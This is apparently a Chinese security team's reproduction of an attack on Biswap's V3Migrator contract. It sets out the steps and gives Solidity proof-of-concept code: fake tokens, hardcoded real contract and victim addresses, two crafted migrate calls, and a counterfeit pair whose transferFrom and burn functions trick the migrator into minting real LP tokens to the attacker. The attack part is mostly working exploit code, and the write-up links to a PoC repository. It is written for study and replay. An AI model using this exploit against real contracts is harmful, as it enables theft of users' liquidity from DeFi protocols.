简要的攻击流程
-
第一次调用migrate函数,输入真的pair合约和假的token,mint地址是受害者。 -
transferFrom函数将受害者LPtoken发到升级合约中。 -
销毁LPtoken,获取两种代币。 -
调用mint,铸造假的LPtoken给受害者。 -
第二次调用migrate函数,输入伪造的pair合约和真的token,mint地址是自己的地址。 -
调用假的pair合约的transferFrom和burn函数不做任何操作,其中burn函数需要返回转移合约中两种代币的数量。 -
向自己的地址mint真的LP。
具体实现
编写假的token合约:
contract fakeToken is ERC20 {
constructor() ERC20("fake", "fake") {
_mint(msg.sender, 10e10 ether);
}
}
初始化v3Migrator、bsw-wbnb交易对,manager,biswapFactory合约,创建两个假token合约:
IV3Migrator public v3Migrator = IV3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
IBiswapPair public pair = IBiswapPair(0x46492B26639Df0cda9b2769429845cb991591E0A);
ILiquidityManager public manager = ILiquidityManager(0x24Ba8d2A15Fe60618039c398Cf9FD093b1C1FEB5);
IBiswapFactoryV3 factory = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
address public victim = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;
address public bsw = 0x965F527D9159dCe6288a2219DB51fc6Eef120dD1;
address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address public fakeToken0 = address(new fakeToken());
address public fakeToken1 = address(new fakeToken());
在创建交易对时会判断代币地址的相对大小,所以要先调整一下两种代币的顺序:
···
if (fakeToken0 > fakeToken1) {
(fakeToken1, fakeToken0) = (fakeToken0, fakeToken1);
}
获取bsw-wbnb交易对中受害者对转移合约的授权:
uint256 allowance = pair.allowance(victim, address(v3Migrator));
提前将两种假token发送到转移合约:
IERC20(fakeToken0).transfer(address(v3Migrator), 10e10 ether);
IERC20(fakeToken1).transfer(address(v3Migrator), 10e10 ether);
创建两种假token的交易对:
factory.newPool(fakeToken0, fakeToken1, 150 ,1);
第一次调用migrate函数:
IV3Migrator.MigrateParams memory params =
IV3Migrator.MigrateParams(
address(pair),
allowance,
fakeToken0,
fakeToken1,
150,
10000,
20000,
0,
0,
victim,
1688126472,
false
);
v3Migrator.migrate(params);
交易对为真实的bsw-wbnb pair,要转移的流动性为受害者地址对转移合约的授权,两种代币为假的token,其余参数也与实际攻击一致。
第二次调用migrate函数:
IV3Migrator.MigrateParams memory params1 =
IV3Migrator.MigrateParams(
address(this),
allowance,
bsw,
wbnb,
150,
10000,
20000,
0,
0,
address(this),
1688126472,
false
);
v3Migrator.migrate(params1);
这时的pair为攻击合约本身,所以攻击合约要实现transferFrom和burn函数:
function transferFrom(address from, address to, uint value) external returns (bool){
return true;
}
transferFrom直接返回true即可。
function burn(address to) external returns (uint amount0, uint amount1) {
uint256 bswBalance = IERC20(bsw).balanceOf(address(v3Migrator));
uint256 wbnb1Balance = IERC20(wbnb).balanceOf(address(v3Migrator));
return (bswBalance, wbnb1Balance);
}
burn函数返回两种真实代币在转移合约中的余额。
在第二次调用之后,攻击合约应该获取到一个LP和相应数量的两种的代币。
测试
代码
https://github.com/wangbar0133/biswap_poc
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):Biswap攻击复现